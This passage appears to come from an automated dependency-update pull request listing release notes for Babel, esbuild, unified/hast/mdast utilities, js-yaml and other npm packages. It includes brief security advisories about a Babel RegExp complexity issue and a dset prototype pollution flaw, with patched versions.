  • babel-helper-create-class-features-plugin, babel-plugin-proposal-class-properties, babel-plugin-transform-typescript, babel-traverse

๐Ÿ  Internal

  • Other
  • babel-parser
  • babel-code-frame, babel-highlight

Committers: 6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 63 commits:

โ†—๏ธ @โ€‹babel/helper-module-transforms (indirect, 7.20.2 โ†’ 7.28.3) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 21 commits:

โ†—๏ธ @โ€‹babel/helper-plugin-utils (indirect, 7.20.2 โ†’ 7.27.1) ยท Repo ยท Changelog

Release Notes

7.27.1

v7.27.1 (2025-04-30)

Thanks @kermanx and @woaitsAryan for your first PRs!

๐Ÿ‘“ Spec Compliance

  • babel-parser
  • babel-parser, babel-types

๐Ÿ› Bug Fix

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-traverse
  • babel-helper-wrap-function, babel-plugin-transform-async-to-generator
    • #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
  • babel-helper-remap-async-to-generator, babel-plugin-transform-async-to-generator
  • babel-helper-fixtures, babel-parser
    • #17233 Create ChainExpression within TSInstantiationExpression (@JLHwung)
  • babel-generator, babel-parser
    • #17226 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (@JLHwung)
  • babel-parser
    • #17224 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (@JLHwung)
    • #17080 Fix start of TSParameterProperty (@JLHwung)
  • babel-compat-data, babel-preset-env
  • babel-traverse
    • #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
  • babel-generator

๐Ÿ’… Polish

  • babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-transform-arrow-functions, babel-plugin-transform-class-properties, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-traverse

๐Ÿ  Internal

  • babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-compat-data, babel-preset-env
  • babel-compat-data, babel-standalone
  • babel-register
  • babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3
  • All packages

๐Ÿ”ฌ Output optimization

  • babel-helpers, babel-plugin-transform-modules-commonjs, babel-runtime-corejs3
  • babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

Committers: 9

7.26.5

v7.26.5 (2025-01-10)

๐Ÿ‘“ Spec Compliance

  • babel-parser

๐Ÿ› Bug Fix

  • babel-plugin-transform-block-scoped-functions
  • babel-plugin-transform-typescript
  • babel-parser
  • babel-generator, babel-parser, babel-plugin-transform-flow-strip-types, babel-types
  • babel-compat-data, babel-preset-env
  • babel-generator, babel-parser, babel-types

๐Ÿ”ฌ Output optimization

  • babel-plugin-transform-nullish-coalescing-operator

Committers: 5

7.25.9

v7.25.9 (2024-10-22)

Thanks @victorenator for your first PR!

๐Ÿ› Bug Fix

  • babel-parser, babel-template, babel-types
  • babel-helper-compilation-targets, babel-preset-env
  • Other

๐Ÿ  Internal

  • babel-helper-transform-fixture-test-runner
  • Every package

๐Ÿƒโ€โ™€๏ธ Performance

  • babel-parser, babel-types

Committers: 4

7.25.7

v7.25.7 (2024-10-02)

Thanks @DylanPiercey and @YuHyeonWook for your first PRs!

๐Ÿ› Bug Fix

๐Ÿ’… Polish

๐Ÿ  Internal

  • babel-core
  • babel-helper-compilation-targets, babel-helper-plugin-utils, babel-preset-env
  • babel-plugin-proposal-destructuring-private, babel-plugin-syntax-decimal, babel-plugin-syntax-import-reflection, babel-standalone
  • babel-generator

๐Ÿƒโ€โ™€๏ธ Performance

Committers: 8

7.24.8

v7.24.8 (2024-07-11)

Thanks @H0onnn, @jkup and @SreeXD for your first pull requests!

๐Ÿ‘“ Spec Compliance

๐Ÿ› Bug Fix

๐Ÿ’… Polish

Committers: 9

7.24.7

v7.24.7 (2024-06-05)

๐Ÿ› Bug Fix

  • babel-node
  • babel-traverse
  • babel-helper-transform-fixture-test-runner, babel-plugin-proposal-explicit-resource-management

๐Ÿ  Internal

  • babel-helpers, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

Committers: 7

7.24.6

v7.24.6 (2024-05-24)

Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!

๐Ÿ› Bug Fix

  • babel-helper-create-class-features-plugin, babel-plugin-transform-class-properties
  • babel-core, babel-generator, babel-plugin-transform-modules-commonjs
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators
  • babel-helpers, babel-plugin-proposal-decorators, babel-runtime-corejs3
    • #16483 Fix: throw TypeError if addInitializer is called after finished (@JLHwung)
  • babel-parser, babel-plugin-transform-typescript

๐Ÿ  Internal

  • babel-core, babel-helpers, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-helpers
  • babel-cli, babel-helpers, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-modules-commonjs, babel-plugin-transform-modules-systemjs, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-parser, babel-traverse
  • Other

Committers: 9

7.24.5

v7.24.5 (2024-04-29)

Thanks @romgrk and @sossost for your first PRs!

๐Ÿ› Bug Fix

  • babel-plugin-transform-classes, babel-traverse
  • babel-helpers, babel-plugin-proposal-explicit-resource-management, babel-runtime-corejs3

๐Ÿ’… Polish

  • babel-parser

๐Ÿ  Internal

  • Other
  • babel-parser
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-helper-module-transforms, babel-helper-split-export-declaration, babel-helper-wrap-function, babel-helpers, babel-plugin-bugfix-firefox-class-in-computed-class-key, babel-plugin-proposal-explicit-resource-management, babel-plugin-transform-block-scoping, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-plugin-transform-private-property-in-object, babel-plugin-transform-react-jsx-self, babel-plugin-transform-typeof-symbol, babel-plugin-transform-typescript, babel-traverse
  • babel-plugin-proposal-partial-application, babel-types
  • babel-plugin-transform-class-properties, babel-preset-env

๐Ÿƒโ€โ™€๏ธ Performance

  • babel-helpers, babel-preset-env, babel-runtime-corejs3
    • #16357 Performance: improve objectWithoutPropertiesLoose on V8 (@romgrk)

Committers: 6

7.24.0

v7.24.0 (2024-02-28)

Thanks @ajihyf for your first PR!

Release post with summary and highlights: https://babeljs.io/7.24.0

๐Ÿš€ New Feature

  • babel-standalone
    • #11696 Export babel tooling packages in @babel/standalone (@ajihyf)
  • babel-core, babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-transform-class-properties
  • babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-syntax-decorators, babel-plugin-transform-class-properties, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-preset-flow
  • babel-helper-import-to-platform-api, babel-plugin-proposal-import-wasm-source, babel-plugin-proposal-json-modules, babel-standalone
  • babel-plugin-transform-runtime
  • babel-parser, babel-types

๐Ÿ› Bug Fix

  • babel-plugin-proposal-do-expressions, babel-traverse
  • babel-helper-create-class-features-plugin, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object
  • babel-helper-create-class-features-plugin, babel-plugin-transform-private-methods
  • babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-async-generator-functions, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object, babel-plugin-transform-typescript, babel-preset-env
  • babel-helpers
  • babel-helpers, babel-plugin-proposal-decorators

๐Ÿ’… Polish

  • babel-core, babel-helper-create-class-features-plugin, babel-preset-env

๐Ÿ  Internal

  • babel-helper-transform-fixture-test-runner

๐Ÿ”ฌ Output optimization

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators
  • babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-class-properties
  • babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-transform-private-methods
  • babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties
  • babel-helper-create-class-features-plugin, babel-helper-fixtures, babel-helpers, babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-proposal-destructuring-private, babel-plugin-proposal-optional-chaining-assign, babel-plugin-transform-class-properties, babel-plugin-transform-class-static-block, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-helpers, babel-plugin-proposal-decorators

Committers: 7

7.22.5

v7.22.5 (2023-06-08)

๐Ÿ› Bug Fix

  • babel-preset-env, babel-standalone

๐Ÿ’… Polish

Committers: 4

7.21.5

v7.21.5 (2023-04-28)

๐Ÿ‘“ Spec Compliance

  • babel-generator, babel-parser, babel-types
    • #15539 fix: Remove mixins and implements for DeclareInterface and InterfaceDeclaration (@liuxingbaoyu)

๐Ÿ› Bug Fix

  • babel-core, babel-generator, babel-plugin-transform-modules-commonjs, babel-plugin-transform-react-jsx
  • babel-preset-env

๐Ÿ’… Polish

๐Ÿ  Internal

  • babel-core
  • babel-helper-fixtures, babel-preset-typescript
    • #15568 Handle .overrides and .env when resolving plugins/presets from fixture options (@JLHwung)
  • babel-helper-create-class-features-plugin, babel-helper-create-regexp-features-plugin

Committers: 4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 63 commits:

โ†—๏ธ @โ€‹babel/helpers (indirect, 7.20.1 โ†’ 7.28.4) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups

Impact

When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace).

Your generated code is vulnerable if all the following conditions are true:

  • You use Babel to compile regular expression named capturing groups
  • You use the .replace method on a regular expression that contains named capturing groups
  • Your code uses untrusted strings as the second argument of .replace

If you are using @babel/preset-env with the targets option, the transform that injects the vulnerable code is automatically enabled if:

  • you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
  • you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10

You can verify what transforms @babel/preset-env is using by enabling the debug option.

Patches

This problem has been fixed in @babel/helpers and @babel/runtime 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers, and instead you depend on @babel/core (which itself depends on @babel/helpers). Upgrading to @babel/core 7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers version.

Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.

Workarounds

If you are passing user-provided strings as the second argument of .replace on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $< if it's then not followed by > (possibly with other characters in between).

References

This vulnerability was reported and fixed in #17173.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 14 commits:

โ†—๏ธ @โ€‹esbuild/android-arm (indirect, 0.15.15 โ†’ 0.25.10) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 6 commits:

โ†—๏ธ @โ€‹jridgewell/gen-mapping (indirect, 0.1.1 โ†’ 0.3.13) ยท Repo

Release Notes

0.3.5

What's Changed

Full Changelog: v0.3.4...v0.3.5

0.3.4

Full Changelog: v0.3.3...v0.3.4

0.3.3

Full Changelog: v0.3.2...v0.3.3

0.3.2

Internal

New Contributors

  • @ljharb made their first contribution in #4

Full Changelog: v0.3.1...v0.3.2

Does any of this look wrong? Please let us know.

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/babel__core (indirect, 7.1.20 โ†’ 7.20.5) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/babel__generator (indirect, 7.6.4 โ†’ 7.27.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/babel__template (indirect, 7.4.1 โ†’ 7.4.4) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/babel__traverse (indirect, 7.18.2 โ†’ 7.28.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/debug (indirect, 4.1.7 โ†’ 4.1.12) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/hast (indirect, 2.3.4 โ†’ 3.0.4) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/mdast (indirect, 3.0.10 โ†’ 4.0.4) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/ms (indirect, 0.7.31 โ†’ 2.1.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/unist (indirect, 2.0.6 โ†’ 3.0.3) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ argparse (indirect, 1.0.10 โ†’ 2.0.1) ยท Repo ยท Changelog

Release Notes

2.0.1 (from changelog)

Fixed

  • Fix issue with process.argv when used with interpreters (coffee, ts-node, etc.), #150.

2.0.0 (from changelog)

Changed

  • Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
  • node.js 10+ required
  • Removed most of local docs in favour of original ones.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

โ†—๏ธ autoprefixer (indirect, 10.4.13 โ†’ 10.4.21) ยท Repo ยท Changelog

Release Notes

10.4.21

  • Fixed old -moz- prefix for :placeholder-shown (by @Marukome0743).

10.4.20

  • Fixed fit-content prefix for Firefox.

10.4.19

  • Removed end value has mixed support, consider using flex-end warning since end/start now have good support.

10.4.18

  • Fixed removing -webkit-box-orient on -webkit-line-clamp (@Goodwine).

10.4.17

  • Fixed user-select: contain prefixes.

10.4.16

10.4.15 (from changelog)

  • Fixed ::backdrop prefixes (by ไธ€ไธ).
  • Fixed docs (by Christian Oliff).

10.4.14

  • Improved startup time and reduced JS bundle size (by @Knagis).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 49 commits:

โ†—๏ธ boxen (indirect, 6.2.1 โ†’ 8.0.1) ยท Repo

Release Notes

8.0.1

  • Downgrade cli-boxes (#102) 3cf4ea9
    • It turned out to not be compatible with the currently targeted Node.js version.

v8.0.0...v8.0.1

8.0.0

Breaking

Improvements

v7.1.1...v8.0.0

7.1.1

v7.1.0...v7.1.1

7.1.0

v7.0.2...v7.1.0

7.0.2

v7.0.1...v7.0.2

7.0.1

  • Use newline as line separator in all cases (#81) a94569b

v7.0.0...v7.0.1

7.0.0

Breaking

Improvements

v6.2.1...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 22 commits:

โ†—๏ธ convert-source-map (indirect, 1.9.0 โ†’ 2.0.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 5 commits:

โ†—๏ธ diff (indirect, 5.1.0 โ†’ 5.2.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 47 commits:

โ†—๏ธ dset (indirect, 3.1.2 โ†’ 3.1.4) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ dset Prototype Pollution vulnerability

Versions of the package dset before 3.1.4 are vulnerable to Prototype Pollution via the dset function due improper user input sanitization. This vulnerability allows the attacker to inject malicious object property using the built-in Object property proto, which is recursively assigned to all the objects in the program.

Release Notes

3.1.3

Patches

  • Add "types" export conditions for TypeScript "nodenext"/"node16" resolution: #40
    Thank you @Akkuma

Full Changelog: v3.1.2...v3.1.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ escape-string-regexp (indirect, 4.0.0 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Breaking

v4.0.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ fraction.js (indirect, 4.2.0 โ†’ 4.3.7) ยท Repo ยท Changelog

โ†—๏ธ github-slugger (indirect, 1.5.0 โ†’ 2.0.0) ยท Repo ยท Changelog

Release Notes

2.0.0

What's Changed

  • Use ESM by @wooorm in #43
    breaking: please read this guide
  • Add types by @wooorm in #44
    breaking: tiny chance of breaking, use a new version of TS and itโ€™ll work

Full Changelog: v1.5.0...2.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

โ†—๏ธ hast-util-from-parse5 (indirect, 7.1.0 โ†’ 8.0.3) ยท Repo

Release Notes

8.0.3

  • 6fe681d Update property-information

Full Changelog: 8.0.2...8.0.3

8.0.2

Miscellaneous

Types

Full Changelog: 8.0.1...8.0.2

8.0.1

Fix

  • 3c42476 Fix type of optional option

Full Changelog: 8.0.0...8.0.1

8.0.0

Change

  • cc4e5c5 Update @types/hast, utilities
    migrate: update too
  • 0c76e8a Change to require Node.js 16
    migrate: update too
  • a227695 Change to use exports
    migrate: donโ€™t use private APIs
  • 81cde21 Remove support for passing file directly
    migrate: x -> {file: x}

Types

  • c6bd56c Add types of data fields
    expect values to be typed :)

Full Changelog: 7.1.2...8.0.0

7.1.2

Fix

Full Changelog: 7.1.1...7.1.2

7.1.1

Misc

Full Changelog: 7.1.0...7.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 50 commits:

โ†—๏ธ hast-util-is-element (indirect, 2.1.2 โ†’ 3.0.0) ยท Repo

Release Notes

3.0.0

Change

  • a16a694 Update @types/hast, utilities
    migrate: update too
  • 6f20167 Change to require Node.js 16
    migrate: update too
  • 864ab64 Change to use exports
    migrate: donโ€™t use private APIs
  • 0a5de58 Change types to work w/o explicit type parameter
    migrate: donโ€™t pass an explicit type parameter;
    replace AssertAnything, AssertPredicate -> Check;
    TestFunctionAnything, TestFunctionPredicate -> TestFunction;
    PredicateTest -> Test

Full Changelog: 2.1.3...3.0.0

2.1.3

Misc

Full Changelog: 2.1.2...2.1.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 25 commits:

โ†—๏ธ hast-util-parse-selector (indirect, 3.1.0 โ†’ 4.0.0) ยท Repo

Release Notes

4.0.0

Change

  • b64572f Update @types/hast
    migrate: update too
  • 7075bc4 Change to require Node.js 16
    migrate: update too
  • 6363e82 Remove support for TS 4.1
    migrate: update too
  • 339b417 Change to use exports
    migrate: donโ€™t use private APIs

Full Changelog: 3.1.1...4.0.0

3.1.1

Misc

Full Changelog: 3.1.0...3.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 30 commits:

โ†—๏ธ hast-util-raw (indirect, 7.2.2 โ†’ 9.1.0) ยท Repo

Release Notes

9.1.0

Add

Types

Full Changelog: 9.0.4...9.1.0

9.0.4

  • eda8d15 Fix crash on unfinished HTML in raw

Full Changelog: 9.0.3...9.0.4

9.0.3

  • 57c9910 Fix non-lowercase SVG elements not closing

Full Changelog: 9.0.2...9.0.3

9.0.2

Full Changelog: 9.0.1...9.0.2

9.0.1

Full Changelog: 9.0.0...9.0.1

9.0.0

Change

  • f0ceab5 Update @types/hast, utilities
    migrate: update too
  • 40ae4fa Change to require Node.js 16
    migrate: update too
  • 4edde89 Change to use exports
    migrate: donโ€™t use private APIs
  • 246c313 Remove Raw type
    migrate: import it from mdast-util-to-hast
  • ae7296e Add smarter types for passThrough
    migrate: make sure to register custom nodes

Full Changelog: 8.0.0...9.0.0

8.0.0

Migrate

  • Node.js 12 is no longer supported, use Node 14.14+ or later
  • if you passed a file, please pass it in options: {file: file}
  • if you used complex-types.d.ts, please use index.d.ts instead

Change

Fix

  • b83ec5f Fix to reexport Raw from mdast-util-to-hast
  • e66705a Fix rcdata, rawtext, script data, and plaintext states
  • 8e7f703 Add improved error message for MDX nodes
  • 9910e6b Fix to deep clone unknown nodes

Misc

Full Changelog: 7.2.3...8.0.0

7.2.3

Full Changelog: 7.2.2...7.2.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 58 commits:

โ†—๏ธ hast-util-to-html (indirect, 8.0.3 โ†’ 9.0.5) ยท Repo

Release Notes

9.0.5

  • 329625e Update property-information

Full Changelog: 9.0.4...9.0.5

9.0.4

Fix

Miscellaneous

Full Changelog: 9.0.3...9.0.4

9.0.3

  • 1c938b9 Fix head opening tag omission w/o title

Full Changelog: 9.0.2...9.0.3

9.0.2

Types

Misc

Full Changelog: 9.0.1...9.0.2

9.0.1

Performance

Full Changelog: 9.0.0...9.0.1

9.0.0

Change

  • 23a91fc Update @types/hast, utilities
    migrate: update too
  • 8c32af8 Change to require Node.js 16
    migrate: update too
  • 320b2ff Change to use exports
    migrate: donโ€™t use private APIs
  • 15b1618 Remove entities option, use characterReferences
    migrate: options.entities -> options.characterReferences

Full Changelog: 8.0.4...9.0.0

8.0.4

Misc

Full Changelog: 8.0.3...8.0.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 52 commits:

โ†—๏ธ hastscript (indirect, 7.1.0 โ†’ 9.0.1) ยท Repo

Release Notes

9.0.1

  • 91f71e3 Update property-information

Full Changelog: 9.0.0...9.0.1

9.0.0

Breaking

  • 8a5f97e Add better custom element support by tightening overload detection
    (tiny chance of breaking, youโ€™re most likely fine)

8.0.0

change

  • 04a40a5 Update @types/hast, utilities
    migrate: update too
  • 234405b Change to require Node.js 16
    migrate: update too
  • 7e27d65 Remove hastscript/html (auto runtime) from exports
    migrate: use hastscript
  • 6976cbb Remove hastscript/html, hastscript/svg from exports
    migrate: use hastscript

Full Changelog: 7.2.0...8.0.0

7.2.0

Add

Misc

Full Changelog: 7.1.0...7.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 49 commits:

โ†—๏ธ html-void-elements (indirect, 2.0.1 โ†’ 3.0.0) ยท Repo

Release Notes

3.0.0

Change

  • 7b5cb87 Remove elements that are no longer void
    by @mohd-akram in #7
    (tiny chance of breaking, you probably donโ€™t depend on stuff like nextid)

Full Changelog: 2.0.1...3.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ import-meta-resolve (indirect, 2.2.0 โ†’ 4.2.0) ยท Repo

Release Notes

4.2.0

Types

Fix

resolve/pull/32

Full Changelog: 4.1.0...4.2.0

4.1.0

Misc

  • d363b81 Refactor to hide deprecation warning
  • dbb53a5 Backport changes from Node
  • 66b952b Refactor tests to not assume name of project folder
    by @kapouer in #25

Full Changelog: 4.0.0...4.1.0

4.0.0

  • 4ba7a54 Backport changes from Node

Full Changelog: https://github.com/wooorm/import-meta-resolve/compare/3.1.0...4.0.0

3.0.0

  • dcaeda3 breaking: change to make resolve sync
    this changes the return type from Promise<string> to string
    migrate: change await resolve(x) to resolve(x)
    by @giltayar in #15
  • c6aa7d5 Backport changes from Node

Notice: This release drops support for Node 16. Migrate by using Node 18 or later.

Full Changelog: 2.2.2...3.0.0

2.2.2

Fix

Full Changelog: 2.2.1...2.2.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 46 commits:

โ†—๏ธ js-yaml (indirect, 3.14.1 โ†’ 4.1.0) ยท Repo ยท Changelog

Release Notes

4.1.0 (from changelog)

Added

  • Types are now exported as yaml.types.XXX.
  • Every type now has options property with original arguments kept as they were (see yaml.types.int.options as an example).

Changed

  • Schema.extend() now keeps old type order in case of conflicts (e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered as abcd instead of cbad).

4.0.0 (from changelog)

Changed

  • Check migration guide to see details for all breaking changes.
  • Breaking: "unsafe" tags !!js/function, !!js/regexp, !!js/undefined are moved to js-yaml-js-types package.
  • Breaking: removed safe* functions. Use load, loadAll, dump instead which are all now safe by default.
  • yaml.DEFAULT_SAFE_SCHEMA and yaml.DEFAULT_FULL_SCHEMA are removed, use yaml.DEFAULT_SCHEMA instead.
  • yaml.Schema.create(schema, tags) is removed, use schema.extend(tags) instead.
  • !!binary now always mapped to Uint8Array on load.
  • Reduced nesting of /lib folder.
  • Parse numbers according to YAML 1.2 instead of YAML 1.1 (01234 is now decimal, 0o1234 is octal, 1:23 is parsed as string instead of base60).
  • dump() no longer quotes :, [, ], (, ) except when necessary, #470, #557.
  • Line and column in exceptions are now formatted as (X:Y) instead of at line X, column Y (also present in compact format), #332.
  • Code snippet created in exceptions now contains multiple lines with line numbers.
  • dump() now serializes undefined as null in collections and removes keys with undefined in mappings, #571.
  • dump() with skipInvalid=true now serializes invalid items in collections as null.
  • Custom tags starting with ! are now dumped as !tag instead of !<!tag>, #576.
  • Custom tags starting with tag:yaml.org,2002: are now shorthanded using !!, #258.

Added

  • Added .mjs (es modules) support.
  • Added quotingType and forceQuotes options for dumper to configure string literal style, #290, #529.
  • Added styles: { '!!null': 'empty' } option for dumper (serializes { foo: null } as "foo: "), #570.
  • Added replacer option (similar to option in JSON.stringify), #339.
  • Custom Tag can now handle all tags or multiple tags with the same prefix, #385.

Fixed

  • Astral characters are no longer encoded by dump(), #587.
  • "duplicate mapping key" exception now points at the correct column, #452.
  • Extra commas in flow collections (e.g. [foo,,bar]) now throw an exception instead of producing null, #321.
  • __proto__ key no longer overrides object prototype, #164.
  • Removed bower.json.
  • Tags are now url-decoded in load() and url-encoded in dump() (previously usage of custom non-ascii tags may have led to invalid YAML that can't be parsed).
  • Anchors now work correctly with empty nodes, #301.
  • Fix incorrect parsing of invalid block mapping syntax, #418.
  • Throw an error if block sequence/mapping indent contains a tab, #80.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ magic-string (indirect, 0.25.9 โ†’ 0.30.19) ยท Repo ยท Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ markdown-table (indirect, 3.0.2 โ†’ 3.0.4) ยท Repo

Release Notes

3.0.4

Types

Miscellaneous

Full Changelog: 3.0.3...3.0.4

3.0.3

Full Changelog: 3.0.2...3.0.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

โ†—๏ธ mdast-util-definitions (indirect, 5.1.1 โ†’ 6.0.0) ยท Repo

Release Notes

6.0.0

Change

  • 900cf9a Update @types/mdast
    migrate: update too
  • 79d4d61 Change to require Node.js 16
    migrate: update too
  • 9e02a5b Change to use export map
    migrate: donโ€™t use private APIs
  • 4a93553 Change to return undefined, not null
    migrate: expect undefined

Full Changelog: 5.1.2...6.0.0

5.1.2

Misc

Full Changelog: 5.1.1...5.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 20 commits:

โ†—๏ธ mdast-util-from-markdown (indirect, 1.2.0 โ†’ 2.0.2) ยท Repo

Release Notes

2.0.2

Types

Full Changelog: 2.0.1...2.0.2

2.0.1

Fix

  • 4aa8425 Fix end point of texts ending in character reference

Types

Full Changelog: 2.0.0...2.0.1

2.0.0

Change

  • 843e046 Update @types/mdast and friends
    migrate: update too
  • 12a5622 Update micromark, change buffers to Uint8Arrays
    migrate: see micromark@4.
    only really changes Buffer -> Uint8Array, so use encodings supported by TextDecoder
  • 4cbea5a Change to require Node.js 16
    migrate: update too

Change (when you make extensions)

  • 03581b3 Change to replace getter/setters with raw data
    migrate: this.getData('x') -> this.data.x, this.setData('x', 1) -> this.data.x = 1
  • 18f4bb0 Change to return undefined from enter, exit
    migrate: keep the node you pass to enter around; get the node yourself before exit
  • 88969a4 Remove deprecated OnError type
    migrate: OnError -> OnEnterError

Full Changelog: 1.3.1...2.0.0

1.3.1

  • 13430aa Update types for changes in micromark-util-types

Full Changelog: 1.3.0...1.3.1

1.3.0

Types

  • a034fa6 Add CompileData type to track custom data

Full Changelog: 1.2.1...1.3.0

1.2.1

Misc

Full Changelog: 1.2.0...1.2.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 53 commits:

โ†—๏ธ mdast-util-gfm (indirect, 2.0.1 โ†’ 3.1.0) ยท Repo

Release Notes

3.1.0

Add

  • e111719 Add support for passing footnote options

Types

Full Changelog: 3.0.0...3.1.0

3.0.0

Change

  • d40848e Update @types/mdast, mdast utilities
    migrate: update too
  • 3f1a762 Change to require Node.js 16
    migrate: update too
  • 812337d Change to use exports
    migrate: donโ€™t use private APIs

Full Changelog: 2.0.2...3.0.0

2.0.2

Misc

Full Changelog: 2.0.1...2.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 39 commits:

โ†—๏ธ mdast-util-to-hast (indirect, 12.2.4 โ†’ 13.2.0) ยท Repo

Release Notes

13.2.0

Types

  • 24f4576 Add type for data.meta on elements to hast

Full Changelog: 13.1.0...13.2.0

13.1.0

Add

  • 59ecd14 Add support for file in options

Full Changelog: 13.0.2...13.1.0

13.0.2

Full Changelog: 13.0.1...13.0.2

13.0.1

Fix

  • 7ff28fb Fix trimming of whitespace around breaks

Full Changelog: 13.0.0...13.0.1

13.0.0

Change

